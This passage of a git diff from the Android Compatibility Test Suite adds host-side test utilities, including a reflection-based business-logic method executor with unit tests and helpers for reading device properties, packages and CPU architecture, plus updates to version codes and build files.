+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Execute business logic methods for host side test cases
+ */
+public class BusinessLogicHostExecutor extends BusinessLogicExecutor {
+
+ private ITestDevice mDevice;
+ private IBuildInfo mBuild;
+ private Object mTestObj;
+
+ public BusinessLogicHostExecutor(ITestDevice device, IBuildInfo build, Object testObj) {
+ mDevice = device;
+ mBuild = build;
+ mTestObj = testObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected Object getTestObject() {
+ return mTestObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
+ throws ClassNotFoundException {
+ List<Method> nameMatches = getMethodsWithName(cls, methodName);
+ for (Method m : nameMatches) {
+ ResolvedMethod rm = new ResolvedMethod(m);
+ int paramTypesMatched = 0;
+ int argsUsed = 0;
+ Class[] paramTypes = m.getParameterTypes();
+ for (Class paramType : paramTypes) {
+ if (argsUsed == args.length && paramType.equals(String.class)) {
+ // We've used up all supplied string args, so this method will not match.
+ // If paramType is the ITestDevice or IBuildInfo class, we can match a
+ // paramType without needing more string args. similarly, paramType "String[]"
+ // can be matched with zero string args. If we add support for more paramTypes,
+ // this logic may require adjustment.
+ break;
+ }
+ if (paramType.equals(String.class)) {
+ // Type "String" -- supply the next available arg
+ rm.addArg(args[argsUsed++]);
+ } else if (ITestDevice.class.isAssignableFrom(paramType)) {
+ rm.addArg(mDevice);
+ } else if (IBuildInfo.class.isAssignableFrom(paramType)) {
+ rm.addArg(mBuild);
+ } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
+ // Type "String[]" (or "String...") -- supply all remaining args
+ rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
+ argsUsed += (args.length - argsUsed);
+ } else {
+ break; // Param type is unrecognized, this method will not match.
+ }
+ paramTypesMatched++; // A param type has been matched when reaching this point.
+ }
+ if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
+ return rm; // Args match, methods match, so return the first method-args pairing.
+ }
+ // Not a match, try args for next method that matches by name.
+ }
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
+ Arrays.toString(args)));
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java b/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
new file mode 100644
index 0000000..5f7fae2
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Host-side utility class for reading properties and gathering information for testing
+ * Android device compatibility.
+ */
+public class CpuFeatures {
+
+ /**
+ * Return true if architecture is arm64.
+ */
+ public static boolean isArm64(ITestDevice device) throws DeviceNotAvailableException {
+
+ CollectingOutputReceiver Out = new CollectingOutputReceiver();
+ device.executeShellCommand("uname -m", Out);
+ String arch = Out.getOutput().trim();
+ return arch.contains("aarch64");
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
index 8df1ebc..58840fd 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
@@ -37,7 +37,7 @@
public class DynamicConfigHandler {
- private final static String MERGED_CONFIG_FILE_FOLDER = "dynamic-config-files-merged";
+ private final static String FILE_EXT = ".dynamic";
private static final String NS = null; //xml constant representing null namespace
private static final String ENCODING = "UTF-8";
@@ -76,8 +76,7 @@
private static File storeMergedConfigFile(Map<String, List<String>> configMap,
String moduleName) throws XmlPullParserException, IOException {
- File folder = FileUtil.createTempDir(MERGED_CONFIG_FILE_FOLDER);
- File mergedConfigFile = new File(folder, moduleName + ".dynamic");
+ File mergedConfigFile = FileUtil.createTempFile(moduleName, FILE_EXT);
OutputStream stream = new FileOutputStream(mergedConfigFile);
XmlSerializer serializer = XmlPullParserFactory.newInstance().newSerializer();
serializer.setOutput(stream, ENCODING);
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
index fd823bf..29e7bfb 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
@@ -17,6 +17,7 @@
package com.android.compatibility.common.util;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.VersionedFile;
import org.xmlpull.v1.XmlPullParserException;
@@ -26,8 +27,10 @@
import java.util.Map;
/**
- * Load dynamic config for device side test cases
+ * Utility to get value from a dynamic config file.
+ * @deprecated use DynamicConfigFileReader instead.
*/
+@Deprecated
public class DynamicConfigHostSide {
public static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
@@ -58,11 +61,14 @@
* @param info the invocation {@link IBuildInfo}
* @param moduleName the name of the module of the file.
* @return a {@link File} created from the downloaded file.
+ * @deprecated use CompatibilityBuildHelper#getDynamicConfigFiles
*/
+ @Deprecated
public static File getDynamicConfigFile(IBuildInfo info, String moduleName) {
- String path = info.getBuildAttributes().get(CONFIG_PATH_PREFIX + moduleName);
- if (path!= null && !path.isEmpty()) {
- return new File(path);
+ for (VersionedFile vFile : info.getFiles()) {
+ if (vFile.getVersion().equals(CONFIG_PATH_PREFIX + moduleName)) {
+ return vFile.getFile();
+ }
}
return null;
}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
index 1d60ec6..87d257a 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -83,6 +83,15 @@
return hasSystemFeature(device, WATCH_FEATURE);
}
+ /** Returns true if the device is a low ram device:
+ * 1. API level >= O
+ * 2. device has feature LOW_RAM_FEATURE
+ */
+ public static boolean isLowRam(ITestDevice device) throws DeviceNotAvailableException {
+ return ApiLevelUtil.isAtLeast(device, VersionCodes.O) &&
+ hasSystemFeature(device, LOW_RAM_FEATURE);
+ }
+
/** Returns true if the device has feature TELEPHONY_FEATURE */
public static boolean hasTelephony(ITestDevice device) throws DeviceNotAvailableException {
return hasSystemFeature(device, TELEPHONY_FEATURE);
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java b/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
index 0a02d25..1fa149f 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
@@ -55,7 +55,7 @@
@Override
public void close() throws IOException {
mJsonWriter.endObject();
- mJsonWriter.flush();
+ mJsonWriter.flush();
mJsonWriter.close();
}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java
new file mode 100644
index 0000000..b4d7cb7
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Host-side utility class for PackageManager-related operations
+ */
+public class PackageUtil {
+
+ /** Returns true if a package with the given name exists on the device */
+ public static boolean exists(ITestDevice device, String packageName)
+ throws DeviceNotAvailableException {
+ return device.getInstalledPackageNames().contains(packageName);
+ }
+
+ /** Returns true if the app for the given package name is a system app for this device */
+ public static boolean isSystemApp(ITestDevice device, String packageName)
+ throws DeviceNotAvailableException {
+ return device.getAppPackageInfo(packageName).isSystemApp();
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index 2cdcc23..08d852f 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -18,6 +18,11 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
/**
* Host-side utility class for reading properties and gathering information for testing
* Android device compatibility.
@@ -29,6 +34,18 @@
* shipped. Property should be undefined for factory ROM products.
*/
public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+ private static final String BUILD_TAGS_PROPERTY = "ro.build.tags";
+ private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+ private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
+ private static final String TAG_DEV_KEYS = "dev-keys";
+
+ public static final String GOOGLE_SETTINGS_QUERY =
+ "content query --uri content://com.google.settings/partner";
+
+ /** Returns whether the device build is a user build */
+ public static boolean isUserBuild(ITestDevice device) throws DeviceNotAvailableException {
+ return propertyEquals(device, BUILD_TYPE_PROPERTY, "user");
+ }
/** Returns whether the device build is the factory ROM */
public static boolean isFactoryROM(ITestDevice device) throws DeviceNotAvailableException {
@@ -36,6 +53,17 @@
return device.getProperty(FIRST_API_LEVEL) == null;
}
+ /** Returns whether this build is built with dev-keys */
+ public static boolean isDevKeysBuild(ITestDevice device) throws DeviceNotAvailableException {
+ String buildTags = device.getProperty(BUILD_TAGS_PROPERTY);
+ for (String tag : buildTags.split(",")) {
+ if (TAG_DEV_KEYS.equals(tag.trim())) {
+ return true;
+ }
+ }
+ return false;
+ }
+
/**
* Return the first API level for this product. If the read-only property is unset,
* this means the first API level is the current API level, and the current API level
@@ -45,4 +73,46 @@
String propString = device.getProperty(FIRST_API_LEVEL);
return (propString == null) ? device.getApiLevel() : Integer.parseInt(propString);
}
+
+ /**
+ * Return the manufacturer of this product. If unset, return null.
+ */
+ public static String getManufacturer(ITestDevice device) throws DeviceNotAvailableException {
+ return device.getProperty(MANUFACTURER_PROPERTY);
+ }
+
+ /** Returns a mapping from client ID names to client ID values */
+ public static Map<String, String> getClientIds(ITestDevice device)
+ throws DeviceNotAvailableException {
+ Map<String,String> clientIds = new HashMap<>();
+ String queryOutput = device.executeShellCommand(GOOGLE_SETTINGS_QUERY);
+ for (String line : queryOutput.split("[\\r?\\n]+")) {
+ // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
+ Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
+ Matcher matcher = pattern.matcher(line);
+ if (matcher.find()) {
+ String name = matcher.group(1);
+ String value = matcher.group(2);
+ if (name.contains("client_id")) {
+ clientIds.put(name, value); // only add name-value pair for client ids
+ }
+ }
+ }
+ return clientIds;
+ }
+
+ /** Returns whether the property exists on this device */
+ public static boolean propertyExists(ITestDevice device, String property)
+ throws DeviceNotAvailableException {
+ return device.getProperty(property) != null;
+ }
+
+ /** Returns whether the property value is equal to a given string */
+ public static boolean propertyEquals(ITestDevice device, String property, String value)
+ throws DeviceNotAvailableException {
+ if (value == null) {
+ return !propertyExists(device, property); // null value implies property does not exist
+ }
+ return value.equals(device.getProperty(property));
+ }
}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java
new file mode 100644
index 0000000..a62a9f5
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Device-side compatibility utility class for executing ADB shell commands.
+ */
+public class ShellCommandUtil {
+
+ public static void execute(ITestDevice device, String command)
+ throws DeviceNotAvailableException {
+ device.executeShellCommand(command);
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java b/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
index 7611b2f..ab54d85 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
@@ -40,5 +40,9 @@
public static final int LOLLIPOP = 21;
public static final int LOLLIPOP_MR1 = 22;
public static final int M = 23;
- public static final int N = CUR_DEVELOPMENT;
+ public static final int N = 24;
+ public static final int N_MR1 = 25;
+ public static final int O = 26;
+ public static final int O_MR1 = 27;
+ public static final int P = CUR_DEVELOPMENT;
}
diff --git a/common/host-side/util/tests/Android.mk b/common/host-side/util/tests/Android.mk
index 338d6c3..5741ec4 100644
--- a/common/host-side/util/tests/Android.mk
+++ b/common/host-side/util/tests/Android.mk
@@ -18,7 +18,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := compatibility-host-util junit-host json-prebuilt tradefed
+LOCAL_JAVA_LIBRARIES := compatibility-host-util easymock junit-host json-prebuilt tradefed
LOCAL_MODULE := compatibility-host-util-tests
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java
new file mode 100644
index 0000000..140f9da
--- /dev/null
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+
+import org.easymock.EasyMock;
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for {@link BusinessLogicHostExecutor}.
+ */
+@RunWith(JUnit4.class)
+public class BusinessLogicHostExecutorTest {
+
+ private static final String THIS_CLASS =
+ "com.android.compatibility.common.util.BusinessLogicHostExecutorTest";
+ private static final String METHOD_1 = THIS_CLASS + ".method1";
+ private static final String METHOD_2 = THIS_CLASS + ".method2";
+ private static final String METHOD_3 = THIS_CLASS + ".method3";
+ private static final String METHOD_4 = THIS_CLASS + ".method4";
+ private static final String METHOD_5 = THIS_CLASS + ".method5";
+ private static final String METHOD_6 = THIS_CLASS + ".method6";
+ private static final String METHOD_7 = THIS_CLASS + ".method7";
+ private static final String METHOD_8 = THIS_CLASS + ".method8";
+ private static final String METHOD_9 = THIS_CLASS + ".method9";
+ private static final String METHOD_10 = THIS_CLASS + ".method10";
+ private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
+ private static final String ARG_STRING_1 = "arg1";
+ private static final String ARG_STRING_2 = "arg2";
+
+ private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
+
+ private String mInvoked = null;
+ private Object[] mArgsUsed = null;
+ private IBuildInfo mMockBuild;
+ private ITestDevice mMockDevice;
+ private BusinessLogicExecutor mExecutor;
+
+ @Before
+ public void setUp() {
+ mMockBuild = EasyMock.createMock(IBuildInfo.class);
+ mMockDevice = EasyMock.createMock(ITestDevice.class);
+ mExecutor = new BusinessLogicHostExecutor(mMockDevice, mMockBuild, this);
+ // reset the instance variables tracking the method invoked and the args used
+ mInvoked = null;
+ mArgsUsed = null;
+ // reset the OtherClass class variable tracking the method invoked
+ OtherClass.otherInvoked = null;
+ }
+
+ @Test
+ public void testInvokeMethodInThisClass() throws Exception {
+ mExecutor.invokeMethod(METHOD_1);
+ // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodInOtherClass() throws Exception {
+ mExecutor.invokeMethod(OTHER_METHOD_1);
+ // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
+ assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
+ OTHER_METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndDeviceArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
+ // assert that String arg and ITestDevice arg were correctly set for method3
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mMockDevice);
+ }
+
+ @Test
+ public void testInvokeMethodWithDeviceAndStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
+ // Like testInvokeMethodWithStringAndDeviceArgs, but flip the args for method4
+ assertEquals("Failed to set first argument", mArgsUsed[0], mMockDevice);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert both String arguments were correctly set for method5
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert no String arguments were set for method5
+ assertEquals("Incorrectly set args", mArgsUsed.length, 0);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
+ // assert both String arguments were correctly set for method6
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithAllArgTypes() throws Exception {
+ mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
+ // assert all arguments were correctly set for method7
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mMockBuild);
+ assertEquals("Failed to set second argument", mArgsUsed[2], mMockDevice);
+ assertEquals("Failed to set third argument", mArgsUsed[3], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodOneArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodTwoArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeNonExistentMethod() throws Exception {
+ mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooManyArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooFewArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodIncompatibleArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
+ }
+
+ @Test
+ public void testExecuteConditionCheckReturnValue() throws Exception {
+ assertTrue("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
+ assertFalse("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteInvalidCondition() throws Exception {
+ mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
+ }
+
+ @Test
+ public void testExecuteAction() throws Exception {
+ mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteActionThrowException() throws Exception {
+ mExecutor.executeAction(METHOD_9);
+ }
+
+ @Test
+ public void testExecuteActionViolateAssumption() throws Exception {
+ try {
+ mExecutor.executeAction(METHOD_10);
+ // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
+ // attribute on @Test annotation, so test using Assert.fail()
+ fail("Expected assumption failure");
+ } catch (AssumptionViolatedException e) {
+ // expected
+ }
+ }
+
+ public void method1() {
+ mInvoked = METHOD_1;
+ }
+
+ // overloaded method with one arg
+ public void method1(String arg1) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1};
+ }
+
+ // overloaded method with two args
+ public void method1(String arg1, String arg2) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public boolean method2(String arg1, String arg2) {
+ mInvoked = METHOD_2;
+ mArgsUsed = new Object[]{arg1, arg2};
+ return arg1.equals(arg2);
+ }
+
+ public void method3(String arg1, ITestDevice arg2) {
+ mInvoked = METHOD_3;
+
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ // Same as method3, but flipped args
+ public void method4(ITestDevice arg1, String arg2) {
+ mInvoked = METHOD_4;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public void method5(String... args) {
+ mInvoked = METHOD_5;
+ mArgsUsed = args;
+ }
+
+ public void method6(String arg1, String... moreArgs) {
+ mInvoked = METHOD_6;
+ List<String> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new String[0]);
+ }
+
+ public void method7(String arg1, IBuildInfo arg2, ITestDevice arg3, String... moreArgs) {
+ mInvoked = METHOD_7;
+ List<Object> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.add(arg2);
+ allArgs.add(arg3);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new Object[0]);
+ }
+
+ public void method8(String arg1, Integer arg2) {
+ // This method should never be successfully invoked, since Integer parameter types are
+ // unsupported for the BusinessLogic service
+ }
+
+ // throw AssertionFailedError
+ public void method9() throws AssertionFailedError {
+ assertTrue(false);
+ }
+
+ // throw AssumptionViolatedException
+ public void method10() throws AssumptionViolatedException {
+ assumeTrue(false);
+ }
+
+ public static class OtherClass {
+
+ public static String otherInvoked = null;
+
+ public void method1() {
+ otherInvoked = OTHER_METHOD_1;
+ }
+ }
+}
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
index ef0e824..a992d0a 100644
--- a/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
@@ -118,7 +118,7 @@
.contains("override-config-list-val-2-1"));
} finally {
FileUtil.deleteFile(localConfigFile);
- FileUtil.recursiveDelete(mergedFile.getParentFile());
+ FileUtil.recursiveDelete(mergedFile);
}
}
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
index a706018..32408e4 100644
--- a/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
@@ -15,24 +15,21 @@
*/
package com.android.compatibility.common.util;
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
/**
* A test suite for all host util unit tests.
* <p/>
* All tests listed here should be self-contained, and do not require any external dependencies.
*/
-public class HostUnitTests extends TestSuite {
-
- public HostUnitTests() {
- super();
- addTestSuite(DynamicConfigHandlerTest.class);
- addTestSuite(ModuleResultTest.class);
- addTestSuite(TestFilterTest.class);
- }
-
- public static Test suite() {
- return new HostUnitTests();
- }
-}
\ No newline at end of file
+@RunWith(Suite.class)
+@SuiteClasses({
+ BusinessLogicHostExecutorTest.class,
+ DynamicConfigHandlerTest.class,
+ ModuleResultTest.class,
+ TestFilterTest.class,
+})
+public class HostUnitTests {
+ // empty on purpose
+}
diff --git a/common/util/Android.mk b/common/util/Android.mk
index ae89d37..d5c5f5a 100644
--- a/common/util/Android.mk
+++ b/common/util/Android.mk
@@ -26,7 +26,7 @@
LOCAL_MODULE := compatibility-common-util-devicesidelib
-LOCAL_STATIC_JAVA_LIBRARIES := guava
+LOCAL_STATIC_JAVA_LIBRARIES := guava junit
LOCAL_SDK_VERSION := current
@@ -45,6 +45,7 @@
LOCAL_MODULE := compatibility-common-util-hostsidelib
LOCAL_STATIC_JAVA_LIBRARIES := guavalib \
+ json-prebuilt \
junit-host \
kxml2-2.3.0 \
platform-test-annotations-host
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogic.java b/common/util/src/com/android/compatibility/common/util/BusinessLogic.java
new file mode 100644
index 0000000..adab1eb
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogic.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
